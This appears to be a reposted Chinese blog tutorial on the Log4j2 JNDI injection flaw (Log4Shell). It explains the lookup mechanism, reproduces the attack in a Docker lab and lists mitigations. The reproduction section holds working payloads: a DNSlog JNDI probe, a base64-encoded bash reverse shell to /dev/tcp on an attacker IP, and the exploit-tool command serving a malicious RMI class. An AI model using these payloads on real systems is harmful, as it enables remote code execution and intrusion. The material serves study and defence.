本文介绍: ${jndi:ldap://${6666}.6666.dnslog.cn}你懂得~

Apache log4j是Apache一个开源项目,Apache log4j 2是一个就Java日志记录工具。该工具重写log4j框架,并且引入了大量丰富的特性我们可以控制日志信息输送的目的地控制台文件、GUI组建等,通过定义一条日志信息级别能够更加细致地控制日志生成过程log4j2中存在JNDI注入漏洞,当程序记录用户输入数据时,即可触发漏洞。成功利用漏洞可在目标服务器执行任意代码

影响的Apache Log4j版本

Apache Log4j 2.x <= 2.15.0-rc1

漏洞原理

JNDI与LDAP

JNDI

JNDI全称 Java Naming and Directory Interface。JNDI是Java平台的一个标准扩展,提供了一组接口、类和关于命名空间概念。如同其它很多Java技术一样,JDNI是providerbased技术暴露了一个API和一个服务供应接口(SPI)。这意味着任何基于名字技术都能通过JNDI而提供服务,只要JNDI支持这项技术。JNDI目前所支持技术包括LDAP、CORBA Common Object Service(COS)名字服务、RMI、NDS、DNS、Windows注册表等等。很多J2EE技术,包括EJB都依靠JNDI来组织定位实体
JDNI通过绑定概念对象名称联系起来。在一个文件系统中,文件名绑定文件。在DNS中,一个IP地址绑定一个URL。在目录服务中,一个对象名被绑定给一个对象实体
JNDI中的一组绑定作为上下文引用每个上下文暴露的一组操作是一致的。例如每个上下文提供了一个查找操作返回指定名字的相应对象每个上下文都提供了绑定和撤除绑定名字到某个对象操作。JNDI使用通用的方式来暴露命名空间,即使用分层上下文以及使用相同命名语法的子上下文。
可以简单的将LDAP理解为一个存储目录里面我们要的资源,而JNDI就是获取资源的一种途径或者说方式
[外链图片转存失败,源站可能防盗链机制,建议图片保存下来直接上传(imgdnvn1LS3-1659011567342)(/upload/2022/07/%E6%97%A0%E6%A0%87%E9%A2%981.png)]
如上图所示访问RMI时只传了一个键foor过去,返回一个对象;在访问LDAP这种目录服务时,传过去的比较复杂包含多个键值对,这些键值就是对象属性,LDAP根据这些属性判断返回哪个对象
基本的操作:
发布服务bind() 将名称绑定对象
名字查找资源lookup() 通过名字检索执行对象

LDAP

目录服务是一个特殊数据库用来保存描述性的、基于属性详细信息支持过滤功能
LDAP(Light Directory Access Portocol),它是基于X.500标准轻量级目录访问协议
目录是一个为查询浏览搜索优化数据库,它成树状结构组织数据,类似文件目录一样。
目录数据库关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理回滚复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好象它的名字一样。
LDAP目录服务是由目录数据库一套访问协议组成的系统
参考
简单来说:LDAP是一个目录服务,可以通过目录路径查询对应目录下的对象(文件)等。即其也是JNDI的实现,通过名称(目录路径查询到对象(目录下的文件)。

概述

“ Lookups provide a way to add values to the Log4j configuration at arbitrary places. They are a particular type of Plugin that implements the StrLookup interface. ”
以上内容复制log4j2的官方文档lookup – Office Site。其清晰地说明lookup的主要功能就是提供另外一种方式添加某些特殊的值到日志中,以最大化松散耦合地提供可配置属性使用者以约定的格式进行调用

原理

org.apache.logging.log4j.core.pattern.MessagePatternConverterformat() 方法表达式内容替换):

 public void format(final LogEvent event, final StringBuilder toAppendTo) {
        Message msg = event.getMessage();
        if (msg instanceof StringBuilderFormattable) {
            boolean doRender = this.textRenderer != null;
            StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;
            int offset = workingBuilder.length();
            if (msg instanceof MultiFormatStringBuilderFormattable) {
                ((MultiFormatStringBuilderFormattable)msg).formatTo(this.formats, workingBuilder);
            } else {
                ((StringBuilderFormattable)msg).formatTo(workingBuilder);
            }
            if (this.config != null && !this.noLookups) {
                for(int i = offset; i < workingBuilder.length() - 1; ++i) {
                    if (workingBuilder.charAt(i) == '$' &amp;&amp; workingBuilder.charAt(i + 1) == '{') {
                        String value = workingBuilder.substring(offset, workingBuilder.length());
                        workingBuilder.setLength(offset);
                        workingBuilder.append(this.config.getStrSubstitutor().replace(event, value));
                    }
                }
            }
            if (doRender) {
                this.textRenderer.render(workingBuilder, toAppendTo);
            }
        } else {
            if (msg != null) {
                String result;
                if (msg instanceof MultiformatMessage) {
                    result = ((MultiformatMessage)msg).getFormattedMessage(this.formats);
                } else {
                    result = msg.getFormattedMessage();
                }
                if (result != null) {
                    toAppendTo.append(this.config != null &amp;&amp; result.contains("${") ? this.config.getStrSubstitutor().replace(event, result) : result);
                } else {
                    toAppendTo.append("null");
                }
            }
        }
    }
}

format()方法会按字符检测每条日志,一旦发现某条日志包含$ {,则触发替换机制,也就是表达式内的内容替换成真实的内容,其中config.getStrSubstitutor().replace(event, value)执行一步替换操作。
包含 的${ 中可以使用关键词如下

${ctx:loginId}
${map:type}
${filename}
${date:MM-dd-yyyy}
${docker:containerId}
${docker:containerName}
${docker:imageName}
${env:USER}
${event:Marker}
${mdc:UserId}
${java:runtime}
${java:vm}
${java:os}
${jndi:logging/context-name}
${hostName}
${docker:containerId}
${k8s:accountName}
${k8s:clusterName}
${k8s:containerId}
${k8s:containerName}
${k8s:host}
${k8s:labels.app}
${k8s:labels.podTemplateHash}
${k8s:masterUrl}
${k8s:namespaceId}
${k8s:namespaceName}
${k8s:podId}
${k8s:podIp}
${k8s:podName}
${k8s:imageId}
${k8s:imageName}
${log4j:configLocation}
${log4j:configParentLocation}
${spring:spring.application.name}
${main:myString}
${main:0}
${main:1}
${main:2}
${main:3}
${main:4}
${main:bar}
${name}
${marker}
${marker:name}
${spring:profiles.active[0]
${sys:logPath}
${web:rootDir}

org.apache.logging.log4j.core.lookup.StrSubstitutor(提取字符串,并通过 lookup 进行内容替换)

private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length, List<String> priorVariables) {
        StrMatcher prefixMatcher = this.getVariablePrefixMatcher();
        StrMatcher suffixMatcher = this.getVariableSuffixMatcher();
        char escape = this.getEscapeChar();
        StrMatcher valueDelimiterMatcher = this.getValueDelimiterMatcher();
        boolean substitutionInVariablesEnabled = this.isEnableSubstitutionInVariables();
        boolean top = priorVariables == null;
        boolean altered = false;
        int lengthChange = 0;
        char[] chars = this.getChars(buf);
        int bufEnd = offset + length;
        int pos = offset;
        while(true) {
            label117:
            while(pos < bufEnd) {
                int startMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd);
                if (startMatchLen == 0) {
                    ++pos;
                } else if (pos > offset &amp;&amp; chars[pos - 1] == escape) {
                    buf.deleteCharAt(pos - 1);
                    chars = this.getChars(buf);
                    --lengthChange;
                    altered = true;
                    --bufEnd;
                } else {
                    int startPos = pos;
                    pos += startMatchLen;
                    int endMatchLen = false;
                    int nestedVarCount = 0;
                    while(true) {
                        while(true) {
                            if (pos >= bufEnd) {
                                continue label117;
                            }
                            int endMatchLen;
                            if (substitutionInVariablesEnabled &amp;&amp; (endMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd)) != 0) {
                                ++nestedVarCount;
                                pos += endMatchLen;
                            } else {
                                endMatchLen = suffixMatcher.isMatch(chars, pos, offset, bufEnd);
                                if (endMatchLen == 0) {
                                    ++pos;
                                } else {
                                    if (nestedVarCount == 0) {
                                        String varNameExpr = new String(chars, startPos + startMatchLen, pos - startPos - startMatchLen);
                                        if (substitutionInVariablesEnabled) {
                                            StringBuilder bufName = new StringBuilder(varNameExpr);
                                            this.substitute(event, bufName, 0, bufName.length());
                                            varNameExpr = bufName.toString();
                                        }
                                        pos += endMatchLen;
                                        String varName = varNameExpr;
                                        String varDefaultValue = null;
                                        int i;
                                        int valueDelimiterMatchLen;
                                        if (valueDelimiterMatcher != null) {
                                            char[] varNameExprChars = varNameExpr.toCharArray();
                                            int valueDelimiterMatchLen = false;
                                            label100:
                                            for(i = 0; i < varNameExprChars.length &amp;&amp; (substitutionInVariablesEnabled || prefixMatcher.isMatch(varNameExprChars, i, i, varNameExprChars.length) == 0); ++i) {
                                                if (this.valueEscapeDelimiterMatcher != null) {
                                                    int matchLen = this.valueEscapeDelimiterMatcher.isMatch(varNameExprChars, i);
                                                    if (matchLen != 0) {
                                                        String varNamePrefix = varNameExpr.substring(0, i) + ':';
                                                        varName = varNamePrefix + varNameExpr.substring(i + matchLen - 1);
                                                        int j = i + matchLen;
                                                        while(true) {
                                                            if (j >= varNameExprChars.length) {
                                                                break label100;
                                                            }
                                                            if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, j)) != 0) {
                                                                varName = varNamePrefix + varNameExpr.substring(i + matchLen, j);
                                                                varDefaultValue = varNameExpr.substring(j + valueDelimiterMatchLen);
                                                                break label100;
                                                            }
                                                            ++j;
                                                        }
                                                    }
                                                    if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) {
                                                        varName = varNameExpr.substring(0, i);
                                                        varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen);
                                                        break;
                                                    }
                                                } else if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) {
                                                    varName = varNameExpr.substring(0, i);
                                                    varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen);
                                                    break;
                                                }
                                            }
                                        }
                                        if (priorVariables == null) {
                                            priorVariables = new ArrayList();
                                            ((List)priorVariables).add(new String(chars, offset, length + lengthChange));
                                        }
                                        this.checkCyclicSubstitution(varName, (List)priorVariables);
                                        ((List)priorVariables).add(varName);
                                        String varValue = this.resolveVariable(event, varName, buf, startPos, pos);
                                        if (varValue == null) {
                                            varValue = varDefaultValue;
                                        }
                                        if (varValue != null) {
                                            valueDelimiterMatchLen = varValue.length();
                                            buf.replace(startPos, pos, varValue);
                                            altered = true;
                                            i = this.substitute(event, buf, startPos, valueDelimiterMatchLen, (List)priorVariables);
                                            i += valueDelimiterMatchLen - (pos - startPos);
                                            pos += i;
                                            bufEnd += i;
                                            lengthChange += i;
                                            chars = this.getChars(buf);
                                        }
                                        ((List)priorVariables).remove(((List)priorVariables).size() - 1);
                                        continue label117;
                                    }
                                    --nestedVarCount;
                                    pos += endMatchLen;
                                }
                            }
                        }
                    }
                }
            }
            if (top) {
                return altered ? 1 : 0;
            }
            return lengthChange;
        }
    }

总结
日志打印时当遇到 ${ 后,Interpolator 类以 : 号作为分割,将表达式内容分割成两部分前面部分作为 prefix,后面部分作为 key然后通过 prefix 去找对应的 lookup,通过对应的 lookup 实例调用 lookup 方法最后key 作为参数带入执行

JDNI注入

JNDI 注入借助 LDAP服务来下载执行恶意 payload,从而执行命令
流程
一步:向目标发送指定 payload,目标对 payload 进行解析执行然后会通过 LDAP链接远程服务,当 LDAP 服务收到请求之后,将请求进行重定向恶意 java class(JNDI服务器) 的地址
第二步:目标服务器收到重定向请求之后,下载恶意 class 并执行其中的代码,从而执行系统命令

漏洞复现

在Docker中安装log4j2靶场

这里使用的是vulfocus中的库

sudo docker pull vulfocus/log4j2-rce-2021-12-09

pull完毕后

启动Docker靶场

sudo docker run -tid -p 9999:8080 vulfocus/log4j2-rce-2021-12-09


出现这个页面表示搭建完成

通过DNSLOG回显验证漏洞

为何通过DNS回显来做到验证漏洞

DNS域名查询步骤

所以由此可知,由于日志打印时当遇到 ${后都会执行后面的语句,而在域名查询过程中,我们可以构造一个DNS服务器,服务器的一级二级域名甚至是三级可以固定,但是总有后几级的域名我们可以构造啊,所以在我们构造域名访问中可以构造这样的域名${java.version}.ign0wp.dnslog.cn,其中${java.version}会被解析java版本,我们就可以在gn0wp.dnslog.cn服务器上看到回显java版本信息

构造POC的payload

点击???超链接url中有一个payload参数, 使用GET方法通过DNSlog回显
构造我们的payload参数

${jndi:ldap://${java.version}.ign0wp.dnslog.cn}

查询DNSlog

点击放行后,我们将刚刚的GET数据包提交
在DNSlog中可以查询回显,说明存在漏洞


反弹Shell

IP地址:监听端口/被攻击端口 OS
靶机 192.168.73.88:9999 CentOS
攻击 192.168.73.130:5432 Kali

下载EXP
EXP地址
https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

Kaili使用nc工具监听反弹shell

首先查看攻击机的ip地址

为了不冲突,先查看一下现在正在监听的端口

那现在我开始监听5432端口

监听中。。。。。。

构造反弹shell的payload

bash -i >&amp; /dev/tcp/192.168.73.130/5432 0>&amp;1
将其使用base64编码

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjczLjEzMC81NDMyIDA+JjE=
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjczLjEzMC81NDMyIDA+JjE=}|{base64,-d}|{bash,-i}

构建恶意LDAP服务

用JNDI注入利用工具构建ldap服务:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "编码后的bash反弹shell命令" -A “监听的IP地址
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjczLjEzMC81NDMyIDA+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.73.130"

生成了一串rmi
rmi://192.168.73.130:1099/hzhh0d

编写反弹shell的payload
payload=${jndi:rmi://192.168.73.130:1099/hzhh0d}

为其进行url编码

payload%3D%24%7Bjndi%3Armi%3A%2F%2F192.168.73.130%3A1099%2Fhzhh0d%7D

提交

反弹shell,可以执行我们的命令了!

漏洞修复

漏洞出现之后,官方也一直在推出补丁,然而一直也存在补丁绕过的情况 ,打官方补丁当然是一个比较靠谱的方式,但是一开始并不能完美解决
在进行漏洞利用时,针对版本java jdk 是无法直接利用的,但是也不一定完全不可以,对于一些企业定期更新 java 的可能影响比较小,所以 java 版本更新也是一种缓解的方式
其他层面的修复
1、采用 rasp 对lookup的调用进行阻断
2、限制不必要的业务访问外网
3、设置 JVM 启动参数 – Dlog4j2.formatMsgNoLookups=true
4、WAF 添加漏洞攻击代码临时拦截规则创建“log4j2.component.properties文件文件中增加配置“log4j2.formatMsgNoLookups=true”

学习参考文章https://cloud.tencent.com/developer/article/1919456
https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html
https://mp.weixin.qq.com/s?__biz=MzUzNTEyMTE0Mw==&mid=2247485584&idx=1&sn=2fad11942986807ea7545f7b8b5d6af8&scene=21#wechat_redirect
https://www.cnblogs.com/wilburxu/p/9174353.html

原文地址:https://blog.csdn.net/t0410ch/article/details/126043294

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任

如若转载,请注明出处:http://www.7code.cn/show_36424.html

如若内容造成侵权/违法违规/事实不符,请联系代码007邮箱:suwngjj01@126.com进行投诉反馈,一经查实,立即删除

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注